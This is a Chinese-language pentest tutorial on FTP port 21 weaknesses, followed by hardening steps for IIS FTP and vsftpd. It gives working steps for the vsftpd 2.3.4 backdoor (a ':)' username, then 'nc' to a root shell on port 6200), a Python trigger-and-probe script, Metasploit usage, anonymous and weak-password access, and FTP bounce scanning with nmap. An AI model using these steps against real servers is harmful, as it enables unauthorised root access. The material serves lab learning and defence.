端口漏洞之21(FTP)

Posted 初岄

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了端口漏洞之21(FTP)相关的知识,希望对你有一定的参考价值。

21(FTP)

端口简介

FTP 是 File Transfer Protocol(文件传输协议)的英文简称,而中文简称为“文件传输协议”。用于 Internet 上的控制文件的双向传输。同时,它也是一个应用程序(Application)。基于不同的操作系统有不同的 FTP 应用程序,而所有这些应用程序都遵守同一种协议用以传输文件。在 FTP 的使用当中,用户经常遇到两个概念:“下载”(Download)和 “上传”(Upload)。“下载”文件就是从远程主机拷贝文件至自己的计算机上;“上传” 文件就是将文件从自己的计算机中拷贝至远程主机上。用 Internet 语言来说,用户可通过客户机程序向(从)远程主机上传(下载)文件。

默认端口:20(数据端口) 21(控制端口) 69(tftp小型文件传输协议)

利用方法

1.匿名访问&未授权访问

匿名访问:

用户名:anonymous 密码:为空或guest或任意邮箱

用户名:FTP 密码:为空或FTP

未授权访问:

不需要用户名密码可直接访问,一般出现在局域网中

2.弱口令&暴力破解

​ 有写权限,上传到网站目录下,直接拿下服务器

​ 低权限,获取重要资料

弱口令:

USET/pass

3.嗅探

ftp使用明文传输技术(但是嗅探给予局域网并需要欺骗或监听网关)

4.笑脸漏洞 CVE-2011-2523

在linux的vsftpd2.3.4中,存在着一个后门程序,只要在用户名后面加上**😃** 就会在6200 上打开一个监听shell,我们可以使用telnet直接连接,并且VSFTPD v2.3.4服务,是以root权限运行的,最终我们得到的权限也是root

利用过程

1.nmap扫描发现版本

2.ftp连接 账号:user:) 密码随便填,使6200端口启动并建立shell即可

3.连接6200端口

如使用nc

nc 192.168.0.1 6200
检测代码
import socket
from ftplib import FTP

url = input("请输入你需要检测的地址:")
ftp = FTP()
username = 'root:)'  # 用户名必须包含:)这两个字符
password = 'anonymous'  # 密码随便啥都行
try:
    ftp.connect(url, 21, timeout=10)  # 使用ftp登录,设置延时10秒
    ftp.login(username, password)
    ftp.quit()
except:
    print("完成登录检测")
try:
    s = socket.socket()  # 使用socket函数来检测是否有漏洞存在
    s.connect((url, 6200))
    s.close()
    print("存在微笑漏洞")
except:
    print("没有发现笑脸漏洞!")

5.远程溢出漏洞

Microsoft IIS FTP服务NLST远程缓冲区溢出漏洞

漏洞编号:CN-VA09-82

漏洞描述:

Microsoft IIS的FTP服务程序在解析目录名时存在缓冲区溢出漏洞,远程者通过提交包含特殊命名目录的FTP NLST (NAME LIST)命令请求,以触发基于栈的缓冲区溢出,导致者可以以应用程序权限执行任意指令。目前已经有利用该漏洞的程序出现,由于者需要FTP配置匿名帐户写权限或拥有其他合法帐户信息来建立特殊命名的目录,因此可以暂时禁用匿名FTP写访问权限,以缓解该漏洞对用户的影响。CNCERT提醒广大用户请继续关注厂商公告以及时下载补丁更新。

FreeFloat FTP Server溢出漏洞

参考文章:https://mp.weixin.qq.com/s/-Rx-rm4fVLP_lTo06VvRwg

6.跳转攻击

(Bounce Attacks) 攻击者发送一个FTP “PORT” 命令给目标FTP服务器,其中包含该主机的网络地址和被攻击的服务的端口号.这样,客户端就能命令FTP服务器发一个文件给被攻击的服务.这个文件可能包括跟被攻击的服务有关的命令(如SMTP,NNTP等).由于是命令第三方连接到一种服务,而不是直接连接,就使得跟踪攻击者变的困难,并且还避开了基于网络地址的访问限制.

参考链接:http://t.csdn.cn/EvQd3

FTP弹跳扫描

FTP弹跳扫描就是利用存在漏洞的FTP服务器(如HP JetDirect打印服务器),对目标主机端口实施扫描。

在Nmap中提供了一个-b选项,可以用来实施FTP弹跳扫描。用于实施FTP弹跳扫描的语法格式如下:

nmap -b [username:password@server:port] -Pn -v [host]

以上语法中的选项及含义如下:

-b:实施FTP弹跳扫描,其格式为username:password@server:port。其中,server是指FTP服务的名字或IP地址。如果FTP服务器允许匿名用户登录的话,则可以省略username:password。另外,当FTP服务使用默认端口21时,也可以省略端口号(以及前面的冒号)。FTP协议有一个特点就是支持代理FTP连接。它允许用户连接到一台FTP服务器上,然后要求文件送到一台第三方服务器上。这个特性在很多场景中被滥用,所以许多服务器已经停止支持了。其中一种场景就是使得FTP服务器对其他主机端口扫描。这是绕过防火墙的好方法,因为FTP服务器常常被置于防火墙之后,可以访问防火墙之后的其他主机。

-Pn:实施Ping扫描。

-v:显示详细信息。

并不是使用任意的FTP服务器都可以实现,而需要FTP服务器中存在漏洞。如果利用的FTP服务器中不存在漏洞的话,将会响应错误信息。

安全加固

Windows 系统 FTP 服务安全加固

打开 IIS 信息服务管理器,查看所有 FTP 服务相关的安全加固功能。

1.禁用匿名登录服务

2.启用强密码安全策略

在 Windows 系统中,强密码策略是通过组策略控制的。您可以打开本地组策略编辑器(gpedit.msc),计算机配置 > Windows 设置 > 安全设置 > 账户策略 > 密码策略,启用密码复杂策略。

启用密码必须符合复杂性要求策略后,在更改或创建用户密码时会执行复杂性策略检测,密码必须符合以下最低要求:

密码不能包含账户名
密码不能包含用户名中超过两个连续字符的部分
密码至少有六个字符长度
密码必须包含以下四类字符中的至少三类字符类型:英文大写字母(A-Z)、英文小写字母(a-z)、10个基本数字(0-9)、特殊字符(例如:!、¥、#、%)
注意:推荐 Windows 所有需要进行用户认证的服务都采用上述复杂密码策略。
3.启用账户登录失败处理机制

4.启用FTP目录隔离机制

5.指定访问源IP

6.启用授权机制

您可以根据业务需求配置授权规则,限制用户访问的权限。

7.启用SSL加密传输功能

8.启用日志功能

IIS 中的 FTP 日志是默认启用的,您可以根据磁盘空间情况配置日志空间大小和其他策略。

Linux系统vsftpd服务安全加固

1.及时安装更新补丁

在安装更新补丁前,备份您的 vsftp 应用配置。从 VSFTPD官方网站 获取最新版本的 vsftp 软件安装包,完成升级安装。或者,您可以下载最新版 vsftp 源码包,自行编译后安装更新。您也可以执行yum update vsftpd命令通过 yum 源进行更新。

2.禁止匿名登录服务

A.添加一个新用户(test),并配置强密码。例如,执行

useradd -d /home -s /sbin/nologin test

其中,/sbin/nologin参数表示该用户不能登录 Linux shell 环境。
test为用户名。

通过passwd test命令,为该用户配置强密码。密码长度建议八位以上,且密码应包括大小写字母、特殊字符、数字混合体,且不要使用生日、姓名拼音等常见字符串作为密码。

B.修改配置文件 vsftpd.conf,执行命令:

vim /etc/vsftpd/vsftpd.conf

anonymous_enable=NO,将该参数配置为 NO 表示禁止匿名登录,必须要创建用户认证后才能登录 FTP 服务。

3.禁止显示banner信息

修改 VSFTP 配置文件 vsftpd.conf,设置ftpd_banner=Welcome。重启 vsftp 服务后,即不显示 banner 信息。

4.限制FTP等用户

在 ftpusers 和 user_list 文件中列举的用户都是不允许访问 FTP 服务的用户(例如 root、bin、daemon 等用户)。除了需要登录 FTP 的用户外,其余用户都应该添加至此拒绝列表中。

5.限制FTP用户目录

A.修改 VSFTP 配置文件 vsftpd.conf

chroot_list_enable=YES
chroot_list_file=/etc/vsftpd/chroot_list

B.新建 /etc/vsftpd/chroot list 文件,并添加用户名。例如,将 user1 添加至该文件,则 user1 登录 FTP 服务后,只允许在 user1 用户的 home 目录中活动。

6.修改监听地址和默认端口
7.启用日志记录

修改 VSFTP 配置文件 vsftpd.conf,启用日志记录。

xferlog_enable=YESxferlog_std_format=YES

如果您需要自定义日志存放位置,可以修改

xferlog_file=/var/log/ftplog
8.其他安全配置

修改 VSFTP 配置文件 vsftpd.conf。

限制连接数

max_clients=100
max_per_ip=5

限制传输速度

anon_max_rate=81920
local_max_rate=81920

python——脚本实现检测目标ip是否存在ftp笑脸漏洞(ftp后门漏洞)

一、漏洞介绍

vsftpd2.3.4中在6200端口存在一个shell,使得任何人都可以进行连接,并且VSFTPD v2.3.4 服务,是以 root 权限运行的,最终我们提到的权限也是root;当连接带有vsftpd 2.3.4版本的服务器的21端口时,输入用户中带有“:) ”,密码任意,因此也称为笑脸漏洞。


二、环境搭建

攻击机(本机):192.168.1.3

靶机(metaspolit2):192.168.1.5


三、nmap进行漏洞检测


(四)python脚本进行漏洞检测

代码如下:

import socket
from ftplib import FTP

url = input("请输入你需要检测的地址:")
ftp = FTP()
username = 'root:)' #用户名必须包含:)这两个字符
password = 'anonymous' #密码随便啥都行
try:
    ftp.connect(url,21,timeout=10)#使用ftp登录,设置延时10秒
    ftp.login(username,password)
    ftp.quit()
except:
    print("完成登录检测")
try:
    s = socket.socket() #使用socket函数来检测是否有漏洞存在
    s.connect((url,6200))
    s.close()
    print("存在微笑漏洞")
except:
    print("没有发现笑脸漏洞!")

输出结果:


(五)漏洞复现

(一)使用nc进行漏洞利用

1、打开命令行登录ftp服务器,在用户名处输入xiaofeng:)然后随意输入一个密码回车等待,紧接着进行下一步:

2、打开一个新窗口,输入nc 目标ip 6200 即可连接。

(二)使用msf进行漏洞利用

1.打开MSFConsole搜索vsftpd_234并使用

2. 设置攻击目标,进行exploit即可获取shell。

以上是关于端口漏洞之21(FTP)的主要内容,如果未能解决你的问题,请参考以下文章

web安全day7:IIS之FTP服务器

#yyds干货盘点# web安全day7:IIS之FTP服务器

端口漏洞之21(FTP)

网络空间安全——攻防对抗 2.0

《小迪网络安全笔记》 第十二节:WEB漏洞-SQL注入之简要SQL注入

端口扫描原理及工具 - 安全工具篇